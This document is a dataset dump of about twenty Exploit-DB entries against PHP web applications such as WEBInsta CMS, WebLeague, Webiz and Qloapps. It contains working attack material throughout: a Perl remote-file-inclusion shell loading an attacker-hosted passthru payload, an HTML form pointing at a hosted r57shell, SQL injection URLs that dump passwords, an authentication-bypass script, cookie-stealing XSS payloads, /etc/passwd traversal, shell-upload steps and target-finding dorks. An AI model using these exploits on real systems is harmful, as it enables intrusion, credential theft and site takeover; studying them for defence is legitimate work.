deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2175
Description: WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-12
Author: K-159

Exploit:
#!/usr/bin/perl
##
# WEBinsta CMS 0.3.1 (templates_dir) Remote File Inclusion Exploit
# Bug Found & code By K-159 
##
# echo.or.id (c) 2006
# 
##
# usage:
# perl WEBinsta.pl <target> <cmd shell location> <cmd shell variable>
#
# perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
# 
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'index.php?templates_dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *WEBinsta CMS 0.3.1 templates_dir Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl WEBinsta.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to WEBinsta CMS ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by K-159 \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net 2006 \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-08-12]
Exploit-DB #2189
Description: WEBInsta CMS 0.3.1 - 'users.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-15
Author: Yns

Exploit:
/*
Vulnerable product : http://www.webinsta.com/download.html ( WEBInsta. CMS 0.3.1 )
Author : Yns - yns.zaxaz.com
*/

Exploit:
http://[HOST]/[PATH]/modules/usersonline/users.php?module_dir=[REMOTE_FILE]

# milw0rm.com [2006-08-15]
Exploit-DB #28379
Description: WEBinsta Mailing List Manager 1.3 - 'Install3.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-10
Author: Philipp Niedziela

Exploit:
source: https://www.securityfocus.com/bid/19477/info

WEBinsta Mailing List Manager is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Version 1.3e is reported vulnerable; other versions may also be affected.

+ WEBinsta Mailing List Manager 1.3e Remote File Include Proof of Concept
+ 
+ PoC:
+
+ http://www.example.com/install/install3.php?database=none&cabsolute_path=[script]
+
Exploit-DB #2187
Description: WEBInsta MM 1.3e - 'absolute_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-15
Author: str0ke

Exploit:
<!--
vulnerable code: /maillist/inc/initdb.php
-----------------------------------------------------------------------
if(isset($_GET['absolute_path']))
 {
echo "no access from here !!";
exit;
}

include($absolute_path.'inc/adodbt/db.inc');
-----------------------------------------------------------------------
The above snippet does not stop post requests to the absolute_path variable.

A r57shell with a twist.

o---[ r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru | version 1.31 ]---o

/str0ke ! milw0rm.com
-->

<head>
<title>WEBInsta Mailing List Manager &lt;= 1.3e (initdb.php) Remote File Include Exploit</title>
</head>
<script language="JavaScript">
function milw0rm() {
  if (document.exploit.target.value=="") {
    alert("Enter a Target");
    return false;
  }

  exploit.action= document.exploit.target.value;
  exploit.cmd.value=document.exploit.cmd.value;
  exploit.dir.value=document.exploit.dir.value;
  exploit.submit();
}
</script>
<body>
<form name="exploit" target="exploitframe" method="post" onSubmit="milw0rm();">
  <table width="975" border="0">
    <tr>
      <td width="961" align="left" valign="top" nowrap="nowrap"><strong>WEBInsta Mailing List Manager &lt;= 1.3e (initdb.php) Remote File Include Exploit</strong></td>

    </tr>
    <tr>
      <td><em>
        <input type="hidden" name="absolute_path" value="http://rst.void.ru/download/r57shell.txt?&" />
        </em><strong>*</strong><em>target</em>
        <input name="target" type="text" value="http://www.site.com/maillist/inc/initdb.php" size="50" maxlength="150" />
        <strong> *</strong><em>cmd</em>

        <input name="cmd" type="text" value="ls -la">
        <strong>*</strong><em>dir</em>
        <input name="dir" type="text" value=".">
        <em>
        <input type="submit" name="Submit" value="Exploit" />
        </em></td>
    </tr>
  </table>

  <p>
    <iframe name="exploitframe" height="410" width="1100" scrolling="yes" frameborder="0"></iframe>
  </p>
</form>
</body>
</html>

# milw0rm.com [2006-08-15]
Exploit-DB #2171
Description: WEBInsta MM 1.3e - 'cabsolute_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-10
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ WEBInsta Mailing list manager 1.3e (cabsolute_path) RFI
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/311/org/
+ WEBInsta_Mailing_list_manager_(cabsolute_path)_1.3e_RFI.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: WEBInsta. Mailing list manager 1.3e
+ Venedor ...........: http://www.webinsta.com
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /istall/install3.php:
+
+ .....
+ if($database=="none")
+ {
+ include($cabsolute_path.'inc/adodbt/db.inc');
+ $conn = &ADONewConnection();
+ .....
+
+--------------------------------------------------------------------
+
+ $cabsolute_path is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Delete folder "install" after installation!!
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/install/install3.php?database=none&cabsolute_path=[script]
+
+--------------------------------------------------------------------
+
+ Greets: /str0ke
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-10]
Exploit-DB #36308
Description: Webistry 1.6 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-16
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/50689/info

Webistry is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Webistry 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com /index.php?pid=14 union select 0,1,2,3,version(),5,6,7
Exploit-DB #12744
Description: Webit CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-25
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

Webit Cms SQL Injection Vulnerability
 
-------------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Script Home: http://www.webitcms.gr

Dork: powered by webit! cms

-------------------------------------------------------------------------------------------
 
Sql Injection:
 
http://localhost/[path]/templates/main/main.php?sid=426+and+1=1

http://localhost/[path]/templates/main/main.php?sid=426+and+1=2

-------------------------------------------------------------------------------------------
Exploit-DB #12797
Description: Webiz 2004 - Local File Upload
Type: webapps
Platform: php
Date: 2010-05-29
Author: kannibal615

Exploit:
# Exploit Title: (Webiz) local SHELL Upload Vulnerability
# Date: 23-05-2010
# Author: kannibal615
# Software Link: N/A
# Version: 2004
# Tested on: PHP
# CVE : N/A
# Code : 


         @@    @@  @@@@@@     @@    @@    @@@@    @@@@@@@  @@  @@   @@@@@@@  @@@@@
         @@    @@  @@   @@    @@    @@   @@  @@   @@       @@ @@    @@       @@   @@
         @@    @@  @@ @@@     @@@@@@@@  @@    @@  @@       @@@@     @@@@@@   @@   @@
          @@  @@   @@ @@@     @@@@@@@@  @@@@@@@@  @@       @@ @@    @@@@@@   @@ @@
           @@@@    @@   @@    @@    @@  @@    @@  @@       @@  @@   @@       @@   @@
            @@     @@@@@@     @@    @@  @@    @@  @@@@@@@  @@   @@  @@@@@@@  @@    @@ dot NET

                                       KANNIBAL615
			
=========================================================================
       WEBIZ REMOTE SHELL UPLOAD VULNERABILITY
=========================================================================
                      BY
                 KANNIBAL615
=========================================================================

== Found By   : kannibal615
== website    : www.vbhacker.net/vb
== email      : zn[at]live[dot]de
==
== Thanks to  : THE PIRATOR
==            : Pc-InSeCt / emptyzero
==            : DAK / l3G3NDS / m0j4h3d
==            : V!Ru$_T4ckJ3n / __MiM0__ 
==            : ruqa / PrideArabs / DIESEL
==            : yassine_hell / mu$lim
==            : ALL VBHACKER MEMBERS
=========================================================================

                                 EXPLOIT
                        
=========================================================================
==  CMS     :  Web content Management Tool [ wmt ]
==  version :  2004
==  risk    :  hight
==  dork    :  Powered by Webiz
==  Rating  :  *****
==  
==  -------------------------------------------
==  *** YOU MUST HAVE A ADMINISTRATOR RIGHT ***
==  -------------------------------------------
==
==  BUG
==  ../wmt/siteadmin/videos.php
==
==
==
==  PHP file Upload
==  
==
==
==  upload your shell from here
==  http://[localhost]/wmt/siteadmin/videos.php >> shell.php
==
==
==
==  Get it
==  http://[localhost]/wmt/userfiles/Media/videos/shell.php
==
==
==
==  enjoy  ;)
==
==  kannibal615 Copyright 2010
==
==  www.vbhacker.net/vb
==========================================================================
Exploit-DB #12644
Description: WebJaxe - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-18
Author: IHTeam

Exploit:
###############################################################################
#
# Exploit Title: WebJaxe Sql Injection
# Date: 14-05-2010
# Author: IHTeam
# Software Link: http://media4.obspm.fr/outils/webjaxe/en/
# Version: 1.01
# Tested on: Win/Linux
#
###############################################################################

!You need a registred user!

http://[site]/[path]/php/partie_administrateur/administration.php?page=projet_contribution&id_contribution=[SQL]

Example (Show username:password):
http://localhost/webjaxe/php/partie_administrateur/administration.php?page=projet_contribution&id_contribution=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(prenom,char(58),motdepasse),3,4,5,6/**/FROM/**/utilisateurs
Exploit-DB #22812
Description: WebJeff FileManager 1.6 - File Disclosure
Type: webapps
Platform: php
Date: 2003-06-20
Author: Adam Stephens

Exploit:
source: https://www.securityfocus.com/bid/7995/info

A vulnerability has been reported for Filemanager that may result in the disclosure of arbitrary files. The vulnerability exists due to insufficient sanitization of user-supplied values for URI parameters.

A malicious attacker can specify arbitrary absolute paths as the value of the URI parameter. This will result in the requested file being disclosed to the attacker.

http://www.example.com/filemanager/index.php3?action=telecharger&fichier=/etc/passwd
Exploit-DB #3717
Description: WebKalk2 1.9.0 - 'absolute_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-12
Author: GoLd_M

Exploit:
# WebKalk2 1.9.0 Remote File Include Vulnerablity
# D.Script: http://www.linuxdelta.de/uploads/media/webkalk2-1.9.0.tar.gz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/engine/engine.inc.php?absolute_path=Shell.txt?
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# ThanX  To: G0T-ROOT.Net & bd0rk ;)

# milw0rm.com [2007-04-12]
Exploit-DB #38024
Description: WebKit Cross-Site Scripting Filter - 'Cross-Site ScriptingAuditor.cpp' Security Bypass
Type: webapps
Platform: php
Date: 2012-07-19
Author: Tushar Dalvi

Exploit:
source: https://www.securityfocus.com/bid/56570/info

WebKit is prone to a security-bypass vulnerability.

An attacker can exploit this vulnerability to bypass the cross-site scripting filter mechanism. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials. 

Code in test.jsp:

<title>Test Page</title>
<script>
var foo = "<%= request.getParameter("foo") %>";
document.write("<text>Welcome "+ foo + "</text>");
</script>

Example URI:

http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1
Exploit-DB #51465
Description: Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-05-23
Author: Astik Rawat

Exploit:
# Exploit Title: Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS)
# Date: 15 May 2023
# Exploit Author: Astik Rawat (ahrixia)
# Vendor Homepage: https://qloapps.com/
# Software Link: https://github.com/webkul/hotelcommerce
# Version: 1.5.2
# Tested on: Kali Linux 2022.4
# CVE : CVE-2023-30256


Description:

A Cross Site Scripting (XSS) vulnerability exists in Webkul Qloapps which is a free and open-source hotel reservation & online booking system written in PHP and distributed under OSL-3.0 Licence.

Steps to exploit:
1) Go to Signin page on the system.
2) There are two parameters which can be exploited via XSS
	- back
	- email_create

2.1) Insert your payload in the "back"- GET and POST Request 
	Proof of concept (Poc):
	The following payload will allow you to execute XSS - 
	
	Payload (Plain text): 
	xss onfocus=alert(1) autofocus= xss

	Payload (URL Encoded): 
	xss%20onfocus%3dalert(1)%20autofocus%3d%20xss

	Full GET Request (back): 
	[http://localhost/hotelcommerce-1.5.2/?rand=[PII_REDACTED]98&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(1)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d]

2.2) Insert your payload in the "email_create" - POST Request Only
	Proof of concept (Poc):
	The following payload will allow you to execute XSS - 

	Payload (Plain text): 
	xss><img src=a onerror=alert(document.cookie)>xss

	Payload (URL Encoded): 
	xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss

	POST Request (email_create) (POST REQUEST DATA ONLY): 
	[controller=authentication&SubmitCreate=1&ajax=true&email_create=xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss&back=my-account&token=6c62b773f1b284ac4743871b300a0c4d]
Exploit-DB #9164
Description: webLeague 2.2.0 - 'install.php' Remote Change Password
Type: webapps
Platform: php
Date: 2009-07-16
Author: TiGeR-Dz

Exploit:
                     ###################################
                     #            TiGeR-Dz             #
#################################################################################
# WebLeague 2.2.0 (install.php)Remote Change Password                           #
#  By: TiGeR-Dz                                                                 #
#  POC :http://www.victim.com/path/install.php                                  #
#   Put Name and password :                                                     #
#  Dork:"powered by: WebLeague"                                                 #
#################################################################################
                     #            TiGeR-Dz             #
                     ###################################

# milw0rm.com [2009-07-16]
Exploit-DB #9162
Description: WebLeague 2.2.0 - 'profile.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-15
Author: Arka69

Exploit:
#########################################################
#                                                                                                             
# DESCRIPTION: WebLeague 2.2.0 (profile.php) Remote SQL Injection                  
# DISCOVERED BY: Arka69                                                                                                                       
# BUG: SQL Injection                                                                                  
# DOWNLOAD: http://www.worms-league.com/WebLeague/WebLeague2.2.0.zip    
#                                                                                                            
########################################################

 
EXPLOIT: profile.php?name='+UNION+SELECT+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+webl_admin%23

# milw0rm.com [2009-07-15]
Exploit-DB #9165
Description: webLeague 2.2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-16
Author: ka0x

Exploit:
#!/usr/bin/perl -W
#
# WebLeague 2.2.0 Remote Admin Bypass p0c
# written by ka0x <ka0x01[at]gmail.com>
#
# need magic_quotes_gpc = Off
#
# Vuln code (Admin/index.php) :
#
# 10:	$sql="SELECT * FROM $admintable WHERE name = '$_POST[username]' AND password = '$_POST[password]'"; // ---> NOT CLEAN $_POST VARS
# 11:	$result=mysql_query($sql,$db);
# 12:	$number = mysql_num_rows($result);
# 13:	if ($number == "1") {
#

use LWP::UserAgent ;

my $timeout = 10 ;

die "* USAGE: \tperl $0 <host>\n" unless $ARGV[0] ;

my $host = $ARGV[0] ;

$host = 'http://'.$host if( $host !~ /^http:/ ) ;
$host = $host.'/' unless( substr( $host, -1 ) eq '/' ) ;

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/[PII_REDACTED] Firefox/3.0.1") ;
$ua->timeout( $timeout ) ;

my $req = HTTP::Request->new( POST => $host.'Admin/index.php' );
$req->content_type( 'application/x-www-form-urlencoded' ) ;
$req->content( 'username=\'/*&password=*/ or \'\'=\'' ) ; 	# content $_POST vars: 
								# username=  '/*
								# password=   */ or ''='
my $res = $ua->request( $req ) ;

if( $res->content =~ /You are logged in as/i ){
	print "[+] The website is vulnerable." ;
} 
else {
	print "[-] The website isn't vulnerable." ;
}


__END__

# milw0rm.com [2009-07-16]
Exploit-DB #12731
Description: Webloader 8 - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: ByEge

Exploit:
[~] Title: Webloader v8 SQL Injection Vulnerability

[~] Date: 16.05.2010

[~] Script Home: www.webloader.org 

[~] Author: ByEge

[~] Homepage: byege.blogspot.com

[~][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][~]


[~] vidgoster.php Bug code :

[~] <?
[~] include 'baglan.php';
[~] $vid=temiz($_GET['vid']);

[~] $c=solcek("select * from webvideo where id=$vid");
[~] $va=solarray($c);

[~] ?>


[~] Example :

[~] http://site.com/vidgoster.php?vid=1'


[~][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][~]

[~] Th4nks : Fantastik, MitolocyA, ISYAN,
Exploit-DB #3484
Description: WebLog - 'index.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-03-15
Author: Dj7xpl

Exploit:
                                                          .-""""""""-.                                 
                                                         /   Dj7xpl   \                              
                                                        |              |                                
                                                        |,  .-.  .-.  ,|                                
                                                        | )(_o/  \o_)( |                                     
                                                        |/     /\     \|                                 
                                              (@_       (_     ^^     _)                  
                                         _     ) \_______\__|IIIIII|__/_______________________________
                                        (_)@8@8{}<________|-\IIIIII/-|________________________________>
                                               )_/        \          / 
                                               (@
											   
+_______________________________________________Iranian Are The Best In World___________________________________________+
#
#
#   Portal     :   weblog
#   Download   :   http://www.holtstraeter.com/cybercheffe/pages/websoft.php?action=websoft_page_five
#   Author     :   Dj7xpl  | Dj7xpl@yahoo.com
#   Dork       :   "(C) by CyberTeddy"
#   Class      :   Local File Inclusion Exploit
#
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
#
#
#   Exploit :   http://[target]/[path]/index.php?show=showarticles&file=[local-file]
#
#   Example :   http://localhost/blog/index.php?show=showarticles&file=../../../../windows/php.ini
#               http://localhost/blog/index.php?show=showarticles&file=../../../../etc/passwd
#               http://localhost/blog/index.php?show=showarticles&file=../admin.php   <<< username&password(md5)        
#    
#
+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
#
#
#    Sp Tnx      :  Milw0rm, Ashiyane, Delta Hacking, Virangar, Hacker.ir, Shabgard.org,Simorgh .............
#
#
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-03-15]